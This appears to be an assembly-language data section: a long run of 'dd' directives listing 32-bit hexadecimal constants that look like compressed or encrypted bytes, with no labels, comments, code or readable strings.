dd 9AE814FDh, 8B3894E5h, 0A16836B9h, 0B1C5A673h, 2817B953h
dd 73702DBDh, 401247F4h, 75370BE9h, 19DB7A13h, 0A69755E0h
dd 0B9C1FF0Ah, 5631F081h, 211D4806h, 0AE56F0EBh, 0F69D19CCh
dd 786ABF62h, 94E943F7h, 0D5F2617Ah, 2B9F92AAh, 53365605h
dd 549CF071h, 0F15BADFh, 0A62B47CEh, 19B710D1h, 0F58AA677h
dd 2F8EDB56h, 0A2A046D4h, 3F27CF83h, 8CD05407h, 0B3F3AA0Ah
dd 0E0383BCDh, 706C6CBDh, 88E1AC89h, 0C26F36AFh, 96C96EEEh
dd 1FA9C33Ah, 0D5E30F28h, 9D960CF9h, 79801739h, 0AB57444Bh
dd 7FB437B2h, 0D5B00572h, 0AAEF2FAFh, 58B43BA2h, 0BFE2E969h
dd 16E7C0D6h, 271F8648h, 804386A9h, 5A22B283h, 6AB52E90h
dd 0AA539137h, 9C7B9D12h, 0DEF85766h, 6E05F944h, 7193A6EAh
dd 0CA0E3C60h, 48394F12h, 0EFE77C5Dh, 3BFAFCB8h, 0F99A2AC7h
dd 8C72D0A2h, 0DD19BA14h, 3A542621h, 7CDDCC84h, 0F5F9C210h
dd 0BEA86B5Dh, 525B67FDh, 0D14AA56Dh, 0A31BD97Ch, 3043B0A0h
dd 4775AFCFh, 333B44C0h, 82263A90h, 61F1F575h, 0F613BA62h
dd 5F25B3ADh, 71A17615h, 9FD39810h, 0C3EE656Fh, 6085D9h
dd 4016A91Fh, 0D24659F9h, 70053141h, 0F973AF1h, 0F155AC52h
dd 0DF25CDF1h, 6CECAACAh, 0B90C0768h, 59BE7831h, 148FF32Ah
dd 0FCE39DECh, 9EA9265Ch, 5694B659h, 1F24BD37h, 2981083Ah
dd 182028ACh, 4F496A01h, 38D1CA68h, 9E40CA81h, 0D7A606B1h
dd 0B174D25Ah, 5F9DD1B6h, 95B29F0Eh, 27D0382Dh, 0D55F4B1Ah
dd 9234DC56h, 0E68C9668h, 1673B2DBh, 2F1F3A35h, 4EBB07B7h
dd 18D28CDAh, 1F462258h, 0C1C7FF0Ch, 0B9233A89h, 77E5AB71h
dd 0CA0420B6h, 0A2663649h, 0E98A2456h, 9AD490ABh, 0E9CE8FFBh
dd 89E7F2F6h, 0FC0027CDh, 6E5CD3ADh, 0E37A4862h, 0A9EFC722h
dd 0AB0E00B6h, 42B40376h, 2FD46E8Eh, 6373E432h, 6B51693Bh
dd 0A883966Ch, 16455CA4h, 9CEE5821h, 3F529D1Eh, 60E892BAh
dd 771F2E26h, 767ACD2h, 5B4B09E2h, 86BA9500h, 147C3A17h
dd 682FA363h, 7C2B719Ah, 43580C5h, 1E9C7513h, 0D970A28Dh
dd 0F18357FAh, 8D193197h, 0EEFC7868h, 7976B0DBh, 1B41AF06h
dd 745B327Fh, 0B446BFBBh, 1BDE848h, 7712A41Ah, 708D6D8Bh
dd 7CE8CDAAh, 71B7ACD9h, 8754C6FBh, 8839E8C4h, 0D2A711B3h
dd 2E82CEB6h, 6DC03A2Ah, 6A88DB85h, 51A2F019h, 32FB90AFh
dd 1B50C78Ah, 0A10143D8h, 82BFA448h, 3D9EE0ABh, 0AEA6D68Dh
dd 0B32D7E72h, 78A18ABh, 8ED18E4Bh, 0E8C1A289h, 0D16682FBh
dd 72BA584Eh, 9C31A719h, 14D93244h, 0D756DB98h, 0D271620Bh
dd 83BEF327h, 0E3A896EDh, 1D45BB89h, 0C89EBCC1h, 0ECC0817Ch
dd 4FFFBA9Bh, 0AE263EB4h, 0A54701EFh, 0D5CB8A63h, 6F49A585h
dd 8E99ECEAh, 44534ED5h, 0BBAFC5A9h, 2430F17Eh, 4A45CE0Bh
dd 6715949Fh, 7A7BE080h, 7EE6EAEAh, 0F4DF7AE5h, 680597D0h
dd 8AC4CFAEh, 0B81320Ah, 384EC7BBh, 7232A60Ah, 36A5BC5h
dd 937882A4h, 0B535CCB0h, 786EEDA7h, 0C1C4729Ch, 0F250BE2Ah
dd 695B1724h, 0B5299E73h, 0CAF0972h, 0B41B3C8Ah, 717747C0h
dd 0DEFF5EF9h, 4C81DEC6h, 31451F0h, 0B466A7E7h, 6622F150h
dd 46F77CC4h, 4B2F3EC2h, 5D0439CEh, 7731054Ch, 1965EB7h
dd 0AA7BD3B6h, 0E59C9480h, 8C91C8ECh, 38B1341Eh, 31461D4Eh
dd 4EC73CCDh, 6509B232h, 0A9D9A10Ah, 0D18CF7ADh, 5E2F8A68h
dd 0F2651CE3h, 1D90E3EBh, 8B78369Eh, 0ACDDACEFh, 0C2454439h
dd 9878813Fh, 9B12EA7h, 0F3EFC6Fh, 175A2408h, 0A8FED179h
dd 0D8367F61h, 89E24484h, 9BC16EFAh, 5CE47F22h, 170A42Ch
dd 0BDE78DCDh, 7E3A60F8h, 0CB830BF2h, 255D69F9h, 3CD73662h
dd 13FDA2C1h, 4FE36349h, 0AA82C0E8h, 4A823ED0h, 0BCD5C882h
dd 53EA8A11h, 7486DB10h, 87DD4ABCh, 51CB5F55h, 0D364182Eh
dd 0C4258C0Ch, 4C30A636h, 0AF8FC31Dh, 8777BE5Bh, 1128CE1h
dd 31A9FC0Ch, 59DC36C6h, 3B798C01h, 79533F6Bh, 0F55ADAB9h
dd 533B681Ah, 3160AB9Ch, 0A96D4A38h, 9321A53Dh, 0B5723542h
dd 8F837F51h, 0BB1E6D1Bh, 0D6D90916h, 9D970DBAh, 27CADDA9h
dd 1027556Ch, 9E7FAC14h, 0AF89BFFh, 8ABF11C3h, 0DA345D8Dh
dd 9E450D74h, 0CABE6820h, 0B965D534h, 0E2AD1414h, 0D3E19A75h
dd 425A0C80h, 2150B5A9h, 21661D0Eh, 95F49B2Fh, 54252581h
dd 42DABAA1h, 8E8D2BABh, 1D02E6CBh, 0D019A096h, 0D7FDED02h
dd 43904493h, 0D9A0C8EBh, 0B99E6115h, 0DC7BD2FEh, 0FC6F5747h
dd 0B0BB95F4h, 0C496F6CEh, 12B09A47h, 0B43DA3B2h, 0F5E8DB2Ah
dd 0A8044F20h, 7C78E35h, 8B8A8796h, 0C1AEA02h, 5E1FE2F2h
dd 43DAC3DCh, 0A722814Eh, 0FB99D38Ah, 8155199Fh, 119BD6DFh
dd 3327EE13h, 0BC861339h, 4805257Dh, 3742F7DEh, 7E00BAA5h
dd 1BA08A71h, 61C5788Eh, 9DB488F5h, 0BD2FF212h, 0D7C0503Fh
dd 9E523755h, 4E29CCABh, 0ACB7B750h, 22AE185Ch, 0B68E5D02h
dd 0E42C10h, 2954C36Ah, 4DCB4B21h, 9CCFFF8Dh, 5FF8E1D9h
dd 36C0403h, 0BC0F8669h, 0D38F513Eh, 0CF482099h, 6AA5A83Ch
dd 0EF76AF0Ah, 9EE85428h, 0ECB6CB01h, 70FBC9A6h, 0A8A7788Ah
dd 3EEA7F00h, 5EC7CA47h, 78E8BBE2h, 0ADC5A52Ah, 8FCCB72Bh
dd 0E3CF0F09h, 71A43378h, 0A85D19F3h, 7DB20D69h, 0E036D81Bh
dd 0BB4C662Bh, 8A40022Eh, 0BF0A10E7h, 1A89979Eh, 4BB3DDCBh
dd 0F18A304h, 6A311589h, 0DEDF1374h, 0F2A0D5A0h, 0A1FD1513h
dd 0C832E7FFh, 0E3116DE3h, 53C51E7Fh, 99B8CAB3h, 48F9EBD0h
dd 70D42403h, 30D33895h, 439483F4h, 0E257D10h, 0B4990D09h
dd 0FFA0D0CEh, 0F4E5D1A0h, 82797EA5h, 1D900867h, 441C2F0Bh
dd 6E5E6225h, 3B31306h, 0C14CFE62h, 153CEC42h, 5F3E34FCh
dd 5C43A5FFh, 0AAE35A3Dh, 28CA3149h, 0C8E0A75h, 64BF3E5Ah
dd 0EB8D76EAh, 0D83B30C9h, 9A683AFDh, 557943D1h, 0AFF896CCh
dd 4823D586h, 0BCBD8948h, 68193A07h, 0A2C633FDh, 5A8E438Ah
dd 7A7B0CF6h, 31920AF9h, 2CD0011Ah, 6016BAB8h, 9A0B4690h
dd 0B1291AE6h, 0BA30A3A7h, 5BA5F505h, 0B9C7F42h, 1C102AE7h
dd 0FF6899D0h, 0C9FF0BBh, 70D87A80h, 0F132C0D0h, 2B475C12h
dd 91EE55EAh, 0F71E854h, 0E37CB277h, 5B8B4D3Ch, 52A376AFh
dd 1F83F6B9h, 73118CBFh, 54DF9C7Ch, 1C0589Eh, 0ECAA1BEFh
dd 0AD19DE83h, 64C9670h, 67AE92C8h, 99D5AA68h, 0D20369EAh
dd 128B36B9h, 19A0454Bh, 422F3855h, 0A84C7697h, 0E79DF2CFh
dd 5870AD21h, 0E2A0F2Dh, 639B5C1Dh, 0C822A1A3h, 8FE0E257h
dd 0C22020B9h, 59A9346Eh, 1F573D43h, 28EA0983h, 0D300372Bh
dd 0D841EAD9h, 1C811340h, 0FF3DA601h, 0C67F1D6Dh, 22F19D7Ch
dd 0D0DD1FDAh, 4351CDF4h, 3ED9694h, 0F979D5DDh, 0A9EB45B2h
dd 449A7A5Fh, 7B9281BCh
dd 48403FA7h, 0F3BF2891h, 8D5B56DBh, 0C79FF728h, 34D7E6DCh
dd 0E39669E8h, 1733A01Ah, 0DEED7E32h, 7194B45h, 65F3D270h
dd 67E133E8h, 0BD8BAB27h, 0DF406F10h, 51E15CF5h, 9AF20CCBh
dd 4684FF50h, 838DC7EBh, 30A58D3Dh, 0E8FF0BF2h, 340841DEh
dd 0BF2F86Ch, 0FBF518E6h, 6DFC161h, 0DD49770Fh, 3EE05F3Dh
dd 442E0206h, 71564CF0h, 489745CFh, 3269FB46h, 0B9D3E7CBh
dd 98C06869h, 688CAFA7h, 0E4A92A0Eh, 558EF2F3h, 69E4BE6Ah
dd 17C64050h, 9C67D1B6h, 2FC14890h, 3C55C7FBh, 0D2C90F73h
dd 0EA4C4F2Ah, 0ED5F5F7h, 662C44BCh, 192259E2h, 43515431h
dd 0BC0E913Bh, 93772E18h, 0D8742151h, 0F44E826Eh, 0C09AA359h
dd 609D36A0h, 0C3A6DA8h, 6A658314h, 0C5B42269h, 7E88D8D9h
dd 0F845116Ch, 0C9F1C817h, 693F9104h, 0D2997683h, 0C5A164EFh
dd 66FC2390h, 565C5791h, 0D1B2FDD1h, 3D9CA41Eh, 0AD96AD33h
dd 698BDA01h, 5BDD1931h, 0B3F2FAFDh, 1A47981Dh, 0B250EF2Bh
dd 0FCD34E56h, 3059D7F1h, 772A2644h, 122D28F0h, 1A3CDBBCh
dd 558A4762h, 7A7BC151h, 0D4D8F74Bh, 527718CFh, 98905E30h
dd 9AAB173Ch, 0D5F7AE08h, 7597CDA3h, 5B5E275Ch, 0F05FA2C2h
dd 911A3CDBh, 0DD3A8D2Ah, 5F3AF753h, 41C15825h, 0DFEC5371h
dd 50E38E83h, 0D96EFDDBh, 9A476FCBh, 0EAD32B96h, 0EB8D8F99h
dd 6600B8FFh, 0F59508Eh, 0B4F3BF91h, 79F54DFFh, 6D36B121h
dd 15EE14D1h, 0B0AAB18h, 0B1E6C5C9h, 39B936CFh, 7DA73DE8h
dd 16797B2Ah, 0A71EA3E5h, 0C522057Ch, 0EABC0949h, 9697A25Fh
dd 73A2952Ch, 0A3BC5247h, 0A12812Fh, 0A6F22C9Fh, 0BFC942C4h
dd 16C27F8Bh, 2400FBCEh, 42900F6Ch, 0A38C1EB3h, 16FBFE18h
dd 48544565h, 3F11CEB9h, 0CDC8F754h, 0ECD01B7Eh, 0F30F9BE3h
dd 73F7638Bh, 0FE43D360h, 6215BC2h, 0D9A7F5B9h, 5CC91930h
dd 0DE44D7E2h, 92EBFFC0h, 4C1B7444h, 94DC4FB1h, 0A5EE441Fh
dd 3319D436h, 0E3754298h, 0B0939C2Ah, 268FF094h, 2CF5CEE7h
dd 0F77E47DDh, 0E5FF565Fh, 3D08237Ch, 76D9CC66h, 909B9F51h
dd 2F07A6C5h, 0FAE7A476h, 1FF9A72h, 0A52DB1C7h, 0C3BDFA00h
dd 0B679C30Dh, 12DA3872h, 0A27BD6A3h, 567978E7h, 0BE340445h
dd 81300348h, 693C5C41h, 5769DD8h, 59AFBDA0h, 626C302Bh
dd 4655D0B5h, 43E9FF13h, 1C410AECh, 586A7B62h, 7A9F389Eh
dd 17975740h, 0EEA5DB93h, 0DF5FDD98h, 0CB70B77h, 64F3C3C2h
dd 0B598DE02h, 694DD924h, 0CA9E6485h, 29FF53EAh, 8B27177h
dd 0CD049876h, 5DA562BCh, 0F3A59700h, 3B473FECh, 5DC8A733h
dd 6FF799E0h, 2AB4DC6Ah, 27CBBF47h, 0AE1F6B4Dh, 0AEEF05A3h
dd 6393D230h, 19467F12h, 13439570h, 0CF5D117Dh, 1491B95Ch
dd 44CD4DECh, 8AE786CDh, 0DED6EF0Fh, 744968h, 0CCF09CDAh
dd 32F97FEh, 2B1E3D05h, 0E850205Fh, 5D2F6A16h, 50FA844Dh
dd 4E350AC6h, 7DE12F8Bh, 8CAF9817h, 410307F0h, 2B22988h
dd 0FDCEE8C6h, 9682ADAAh, 0E96DDCF6h, 0D93362D4h, 9567028Ah
dd 61068AE5h, 0FD80B5FFh, 375FE84Bh, 5985B9F5h, 0D920D7D5h
dd 0CE918A98h, 23FBCAD3h, 0D605657Ah, 2D5FD655h, 3B416080h
dd 7C85A9D2h, 0F9C4E730h, 36D386E8h, 8CB4A04Ch, 7B62D340h
dd 832B26CEh, 0CCB9C989h, 0CF12239Dh, 0D16988DEh, 6EFAEE70h
dd 4686B2F9h, 8182196Ah, 0A7270327h, 0C2C86C77h, 0DBA02E53h
dd 0A7411BD5h, 616CF028h, 3F4FDE36h, 97D63E1Fh, 12D8E49Dh
dd 6E137336h, 8838BB34h, 466C2DA7h, 0CD4CE10h, 0D75B64E1h
dd 9ACEEAAh, 0D6B78754h, 223542EDh, 73F2F358h, 5D39F053h
dd 0ABCC2FC2h, 0E0AE9A7Ch, 5295A480h, 73479034h, 0FF7A0EB1h
dd 33DEA2E6h, 882E2B43h, 42F489B6h, 0BBA0E643h, 0D03EFBEh
dd 0C49D957Bh, 31A1270Ch, 594B373Fh, 0A2E0896Fh, 0D7F156Ah
dd 7870537Dh, 2ED16AD6h, 0A2499EDAh, 88402F52h, 5C949280h
dd 9DE4574Fh, 70ADECCCh, 3D34AE2Eh, 9A9AF468h, 583E16E2h
dd 7D515F74h, 0BF326DD6h, 0C61B05C8h, 0EEB78ACBh, 0A539C776h
dd 0EFE3C348h, 0B731D789h, 22C10F96h, 883F8420h, 1E8D8A6Bh
dd 8B806B4h, 70B0B633h, 5E66EB6Ah, 0D1D17DAFh, 6CCE65AAh
dd 4B7F7690h, 26167184h, 5AC99CC7h, 38746D15h, 0D0FB9E45h
dd 99702CAFh, 80F2C488h, 47566BAAh, 8877A927h, 0EC76BF7Bh
dd 9CFB5283h, 99701CC7h, 17AEE1F5h, 14F2B0E0h, 3762E513h
dd 864F4BB4h, 0A9090412h, 0DA5FB143h, 7FF601BAh, 7914BD57h
dd 2FA938A8h, 8014EA2Ch, 3950A0FAh, 0D367D39Ch, 0DE154D5Ah
dd 0BAD3A475h, 0E3612567h, 0FA17D97h, 0A1FB21Ch, 0C33463AFh
dd 264F565Bh, 0DC243991h, 8240F56Dh, 8B814C72h, 0C543099h
dd 0A39DC890h, 589E6261h, 775F5175h, 0A3742DA5h, 4F7E487Ah
dd 52BD5B9Ah, 5AAFE8F2h, 80374D14h, 0D9FF3160h, 1C8CA6EFh
dd 9741D5A9h, 8A1E34ECh, 47DC07E8h, 0C35714AFh, 45D47D96h
dd 4B902464h, 18463EF5h, 0E58629D1h, 27CA6A03h, 0C261BA3Eh
dd 12419675h, 0F0A58D1Fh, 0F91C8B9Eh, 8CEACCD9h, 0B6374878h
dd 3A0E5B9Fh, 69959ECFh, 0E5C32F9Fh, 0C947B250h, 5843DC76h
dd 0E9065C18h, 69E9B9BEh, 0D0A6FF1Ch, 621836h, 0EDD301B6h
dd 0BA604233h, 9643CDD2h, 0B5619420h, 69D5328h, 7482B889h
dd 5499BAAFh, 0F91281DEh, 2CC191D5h, 8BD8DE65h, 0AF4B3C72h
dd 127B3DE6h, 0DBF366Eh, 85236FC2h, 50B13D59h, 0E78FC09Ah
dd 8A8203C1h, 0DF855979h, 797A3417h, 7F78F05Ch, 46093BD5h
dd 4E19A51Fh, 0AD461BFBh, 0DCF3222h, 81BF8906h, 403E32CBh
dd 1FDA4C33h, 833B8A57h, 0C2A6C731h, 68E33B2Bh, 0C0BBE8C9h
dd 2F2D81CBh, 0CD79B900h, 94F00C19h, 0FCA88DC1h, 0C6D19415h
dd 4CDE49ECh, 511887AAh, 71C720E3h, 0B1196330h, 23898CDDh
dd 0DF3F7E0Ch, 49AD7B1Fh, 0E1CBC6CCh, 5D6EDB40h, 7664EF06h
dd 1A7071B3h, 0FC4BC41Dh, 61340CF0h, 34590711h, 577B8CD2h
dd 0BDC431EFh, 4DA85CDDh, 12015A61h, 0E3452CD6h, 1FD2D813h
dd 0EEC96FDEh, 8A0763B1h, 39FF198h, 2E9034ECh, 7DC39870h
dd 0C099D86Bh, 487BDBC9h, 20A321A1h, 9067AC40h, 0CF5221DDh
dd 0BA2AC156h, 6BCDC453h, 0EA92331Eh, 914746F6h, 4ADA202Eh
dd 0CE8D33ABh, 49FB3188h, 0BBF94B70h, 5E28AECAh, 139B5A0Bh
dd 13AF322Eh, 0D2518F7Bh, 18BA7C76h, 21A9A1DDh, 2BE7441Fh
dd 1B9AAF47h, 91EB3506h, 0BADF0D2Ch, 642FF767h, 0F963FCD9h
dd 7D7ED1F9h, 239A9D78h, 0D55F3BCDh, 35E99CDDh, 6E11626Fh
dd 33B2BE0Fh, 0C1D577B0h, 1CEBFE47h, 0DAD844F0h, 3FDAB11Eh
dd 3098E7B4h, 6C228008h, 4CCB673Bh, 6C25087Dh, 8E3A227h
dd 79480058h, 0F8F531F2h, 5DD00E23h, 0EEDEA65h, 53749EB6h
dd 0BBF2C04Dh, 93C59CABh, 5DA4422Ch, 883D221Ch, 0DEB75A68h
dd 82E0A5C9h, 0B3ABEBA8h, 1FA00EEFh, 103FBE10h, 0C6AFC911h
dd 922FFE32h, 0CCB2676Fh, 8F1BF112h, 41797ADBh, 3E73EC30h
dd 4D043B83h, 3A53CF4h, 0FA7C4F52h, 0F0F81BCDh, 3BEA634h
dd 0F43DDD58h, 0B784816Ch, 0F981ED1Bh, 5C07B568h, 0DB15D639h
dd 1CD4760Eh, 0AD91AEB4h, 0F20A95BBh, 0B071575Fh, 5EA5CFD5h
dd 0EEA12647h, 0BA62E0Dh, 74E7A40Ah, 0B28644F2h, 0AC3BAEC9h
dd 0AB40A5EBh, 0BA337C45h, 7BA5C535h, 0A5C61AB7h, 7D4FC83Ah
dd 80C1C9DCh, 1CF7571Ah, 0E0BDAF0Eh, 9B144D02h, 93B4F855h
dd 0EA02842Dh, 55C41777h
dd 0F58BFDF1h, 0EFBB0700h, 0B9DBD768h, 0D8D83FD0h, 0CDC1E72Ch
dd 10C78C50h, 0F06249B4h, 0D4E60D76h, 8FE009DEh, 0D424090Dh
dd 856FD265h, 5E3DCC81h, 0B3019183h, 0C77B1641h, 0B41E9F04h
dd 0B251967Dh, 1E33A6FBh, 0C5B74EC3h, 3E589E41h, 68A07C8Ch
dd 0C5D1F926h, 0DEEF45E6h, 0F05E1E07h, 54FB9C8h, 83E992F1h
dd 56909C4h, 9A58DEA4h, 4AFE39Eh, 25A7FB10h, 990BE93Eh
dd 105CB872h, 2929FC2Ch, 0A6E51EF3h, 76450610h, 0E567AC4Bh
dd 3FD56B09h, 766948E7h, 51A760DBh, 560CA7C0h, 2F6569E3h
dd 0B7DE4802h, 62D2ECFFh, 0CE2C83A2h, 929657B8h, 0C6FA9FA4h
dd 2BBC09ADh, 0F055C145h, 99AD103Fh, 29C81BB7h, 0DC6CA6A6h
dd 36D09963h, 7080B0C5h, 57DD8D69h, 0DEF5ED9Bh, 44003641h
dd 0D08793A8h, 9CEA3F21h, 0ACE19ACDh, 0E7EF917Dh, 7DD68094h
dd 6A34A72h, 30EBEE57h, 51970388h, 0E9E5D7E0h, 0FC52FF4Ah
dd 2F75221Ch, 8F99F494h, 1FC32F66h, 0AC7862Ah, 0A26BD0B9h
dd 85A799Eh, 1A5465Ch, 5BE5F652h, 59099388h, 4BE728A6h
dd 81E43A49h, 881FFBECh, 5DF23A39h, 8B43D1FFh, 78A1E83Eh
dd 0FFE7E8CEh, 0CD839DAAh, 0F62CB8B7h, 57C8FA7Dh, 24348052h
dd 84CAF01Eh, 2DFC3Dh, 1AC12959h, 16FE6F9Ch, 8CC4B50h
dd 8DBA03B0h, 34EE3515h, 0E139D539h, 0AC955914h, 7E2A6216h
dd 0FD213AC5h, 9C3D83DDh, 0B6E46584h, 3766DFCCh, 6C946032h
dd 0B9D15089h, 3354B089h, 873F912Ch, 5B3D5618h, 77C979BFh
dd 6AB26664h, 6E3A55D9h, 81B997B7h, 603A16C1h, 397F9870h
dd 63454D1Fh, 0AE12DD76h, 0C5EF85F2h, 0F75436EAh, 68DD7B6Eh
dd 0CD487DBh, 84A61CE9h, 53BE2E05h, 0FD97809Ch, 95E9EAFEh
dd 0C59302DBh, 0FAEA3FA9h, 6DFE852h, 21778809h, 824F5BCBh
dd 64123509h, 0E5C7CA8Bh, 0B226FE65h, 0CE6375F6h, 2F4F1CB6h
dd 333C2B62h, 778C050h, 341664C9h, 0CB9B932Eh, 0EE95B65Ah
dd 2122203Ch, 0D392D0Ah, 12BE65h, 0F2B1A271h, 18202C29h
dd 0E2354ABFh, 0FCDF6A6Eh, 0F9D85F97h, 0E982BD0Bh, 9E7325E3h
dd 9940CF6Fh, 80C90764h, 31906E15h, 0A6AFE37Eh, 11DBA235h
dd 0F9210589h, 0E006A4CCh, 0B9A0D569h, 0AB6C67Eh, 6A770A72h
dd 0A3694A01h, 21C1DAA8h, 456DADEAh, 9CE7D962h, 134A9B16h
dd 78AFD645h, 2657E247h, 941DC9A6h, 0E46E194Ch, 3230B8B3h
dd 74114663h, 0EF70D508h, 3F2EFD9Ch, 3F843501h, 0EF3864D8h
dd 2B4E733h, 0FF595A9Ch, 1AEBB28Fh, 785F6968h, 7F425866h
dd 45E2FABEh, 67330186h, 94312ED0h, 32EDFECh, 0C1FF2D06h
dd 7199B3D2h, 0F59B04D4h, 9FDE9CC0h, 0AD07180Fh, 97A3FCEFh
dd 8613E868h, 84B7915h, 4AEDC0F1h, 0ACB753B0h, 0ED04644Ch
dd 31338712h, 772DC2F6h, 0A71EBB5Bh, 826567B4h, 662CEC49h
dd 90CD06A9h, 8DEB6E51h, 2285B2D9h, 61C42F06h, 345D64E4h
dd 97BF387h, 507DDD11h, 69E06DB2h, 5C47B9BFh, 7062A164h
dd 9DF416E0h, 0C175F80Ah, 9103728Dh, 7467D823h, 0DC0502E1h
dd 3791FE9Bh, 0EA2F2C63h, 82C8492Bh, 0BDBF86B0h, 0C04DFC8Fh
dd 4156CE77h, 0D0AFF26Fh, 7D686BD3h, 0CF504991h, 66E77FB7h
dd 92458A76h, 0D73EBE4Ah, 4AB58C46h, 420F66h, 789C46DDh
dd 0B7505158h, 0C835E6B6h, 8D1F8ADEh, 0EB4C8B3Ah, 0F0631C8Fh
dd 67F529B9h, 66564F64h, 0BF4827EEh, 741D96Ah, 2C4629CAh
dd 0FE7970CAh, 25F1ED4h, 2C333C62h, 0F9C52B9Dh, 38391060h
dd 0AD32C050h, 1E7BCC7Dh, 6EBCFC58h, 0FA3F9831h, 387D5FEAh
dd 57BEADE3h, 0C8247BAh, 0DA0F6686h, 7DFFFC2Eh, 208BE445h
dd 0CC883D16h, 62757BF5h, 6CE3B575h, 26EE4371h, 4098F3E3h
dd 81160501h, 40F3CB7Dh, 959AEFD9h, 15D3C86Fh, 0BA9357B9h
dd 0F817F4h, 0AB459471h, 1733CF73h, 4E00C2A8h, 96C0B67Eh
dd 96039319h, 0DBCB6CF9h, 0A1675280h, 0FA008AA0h, 97704E89h
dd 4A6E2854h, 19307141h, 83E190B8h, 6472ED87h, 171F2DBh
dd 61256F2Fh, 0F852F9CCh, 8DD325DBh, 0D2C158F8h, 0D32A2C92h
dd 0F06608Ch, 928AB738h, 0B0417C73h, 6C9CB829h, 0AB54E49Fh
dd 50DEA0D1h, 3658A3BDh, 0FEC24C74h, 0C84BE478h, 373F1BBDh
dd 3398F8A2h, 9DCD1B6Ch, 0E9F6A84Fh, 0C8AF7BCAh, 0F0D75802h
dd 0A2E7BB0Eh, 0B720CADCh, 0A147B729h, 0C4A6FE18h, 0DAC02B38h
dd 0EF67CB5h, 20FB1285h, 22C2973Eh, 52205D9h, 734C474h
dd 27065EBBh, 1473095Bh, 79FE8D61h, 1DBDCA7Fh, 0F863C2B2h
dd 9F4AE450h, 708D8EC3h, 0B90766E8h, 0DBADCC86h, 3659CF38h
dd 0D9ECBBCh, 408568B5h, 2C4452B0h, 0FF9BDA4Bh, 6BD241D0h
dd 902EE0B3h, 6490DA74h, 22F41FE9h, 6BFC091Fh, 0FE6DB337h
dd 0E12E4DDFh, 2A6A2673h, 1032D7ECh, 88098741h, 0DA544750h
dd 0F463152Fh, 978167E2h, 0F5860AC5h, 2C0F09FDh, 656A1C66h
dd 0A71BC9F1h, 2D77E22Ah, 9199AAE5h, 5EEC3659h, 4F3F8FEFh
dd 18C125BBh, 69E17DA6h, 0C704AABFh, 0AE2B8A1Bh, 0A725F221h
dd 0B65B8C85h, 62118B45h, 9394826Bh, 71C6D3BFh, 50347A92h
dd 1063FAB9h, 0EDB4AAD8h, 6AB723B2h, 35CD1419h, 7D91E3Ah
dd 57D39E4h, 368303E6h, 0EF0FFBE6h, 9FD4149Dh, 8ED0C704h
dd 92A97C28h, 0C7F07780h, 17C73A8Eh, 9919AA28h, 20337986h
dd 0AA94BCEFh, 0C0CC6E8Dh, 0DE3BC181h, 5BB42463h, 0EBBA6617h
dd 0E6641E05h, 0CE8A256h, 14F96DDDh, 0E2F262ABh, 0E34454D9h
dd 0F675333Ah, 2E39595Dh, 94C04E81h, 31A3670h, 6E54F2CEh
dd 6D16C7B8h, 2506A6A0h, 0C3737149h, 0E7FF945Ah, 9DB0CD3Eh
dd 1544683Ch, 0E234A278h, 80FE812Eh, 1FB74049h, 73511F27h
dd 0D8AD4A62h, 59129A3Dh, 0FF97C7FAh, 0A8D09530h, 41043C25h
dd 0EE481DDEh, 3CBC9DCFh, 8811987Ch, 96731DC2h, 0D9A43941h
dd 0A74BFD74h, 0A08B778Bh, 0B9918D2Eh, 0B30BB83h, 184FC6A3h
dd 0C699DD0Ah, 90BD3C53h, 0FDAD0C0Ch, 2670EB62h, 0A44C5840h
dd 8C54C2FCh, 0C19F761Eh, 63BDED47h, 40D6EFC6h, 918C45C1h
dd 0E63B96E5h, 1D316387h, 2530F9B2h, 0ACCA4F0Ah, 8D6EACB8h
dd 3DCE5F8Eh, 0E55B7D68h, 99338333h, 0B8858EB8h, 0DD4B1CFDh
dd 0CD784F7Eh, 49CE7AA2h, 0A187D209h, 5D7B5077h, 0D358FBF7h
dd 0F0ABC56Dh, 0FC74B034h, 321D96FEh, 2F6A42ACh, 22E7A892h
dd 45B59104h, 99FF9FC0h, 0DE67CF40h, 0DBD63805h, 0CE3D9A8Eh
dd 539DE0FDh, 5B33053Fh, 0B2B7B74Dh, 0D4DB7D17h, 0F5BB6EE2h
dd 3058C7B4h, 4ACE8019h, 2A7E8890h, 0A6A284D5h, 0F492429Dh
dd 581FD517h, 56692137h, 9C2B907Dh, 0A5E2A8EBh, 32342451h
dd 0A33C92F8h, 0C9662765h, 0DFD40725h, 0EB9EDFABh, 0D8855ED1h
dd 14896E9Eh, 4BB1D291h, 0F9C01E82h, 3DF0B26Dh, 451B5CEDh
dd 0D172989Fh, 227BA2D8h, 406D75C5h, 20639357h, 9ACAEECh
dd 0B1025DEAh, 0F9CC9CB3h, 85EC258Ch, 0D9602875h, 8D5FFD9h
dd 10E6A05Eh, 0BDFE6EFDh, 0BACDDF87h, 80418B0Bh, 0ABC07FEFh
dd 6F4C6A8h, 0C9FDC80h, 0FE6F09B3h, 38119972h, 4ACE0609h
dd 886FFC53h, 639E334h, 9AF95545h, 669C493h, 0B01C61A7h
dd 4C4540Bh, 0D8E4342Eh, 0F45E2301h, 468508DBh, 2A9C59Fh
dd 0C9BE0F89h, 69C4530Fh, 97C04D79h, 9B0E14F2h, 331D340Ch
dd 7790AC3Fh, 593A0BABh, 0D42022D0h, 979483FEh, 0D4A6F6DCh
dd 0EB6379CCh, 1CFCFC2Eh, 0CFBB68F0h, 0EC090F91h, 536852A5h
dd 0CC00FF63h, 76AF337Eh
dd 8F9BCBDCh, 0A03F86F4h, 53731F83h, 6EBDBF58h, 192C6517h
dd 8CC82395h, 7AE5A6FFh, 441FBA74h, 39BCB760h, 0F64D6EE2h
dd 935559DEh, 916F2361h, 51D20A4Bh, 97588B2Bh, 0F88E605Dh
dd 9A369CF2h, 0E2B0D9CEh, 4A147CDDh, 2DC32DF2h, 1400C0F7h
dd 0AF568537h, 0C51B13C0h, 0A3E242E5h, 97392EB1h, 5377688h
dd 7B907E09h, 7C95622Eh, 0EA4E217Ch, 0FE2AA64Fh, 812BA04Fh
dd 65B8A73h, 0BEECE381h, 7FFF70C0h, 2D18F257h, 0C6B82315h
dd 79A6E667h, 0BEAB633Ch, 0D91F82A2h, 0B523B202h, 0AF87453Ah
dd 0AFE82ECCh, 0A5BAB0AEh, 1C9905F7h, 9A355317h, 267F1Ch
dd 5336BB90h, 429773F9h, 6F7AE5D1h, 77ED67C1h, 7E843CD3h
dd 6FD4BB72h, 382DD9D3h, 0C7820869h, 99A5A555h, 17420C08h
dd 5C198F75h, 61B34750h, 0E13C73AAh, 0F25A1557h, 4CA2985Ch
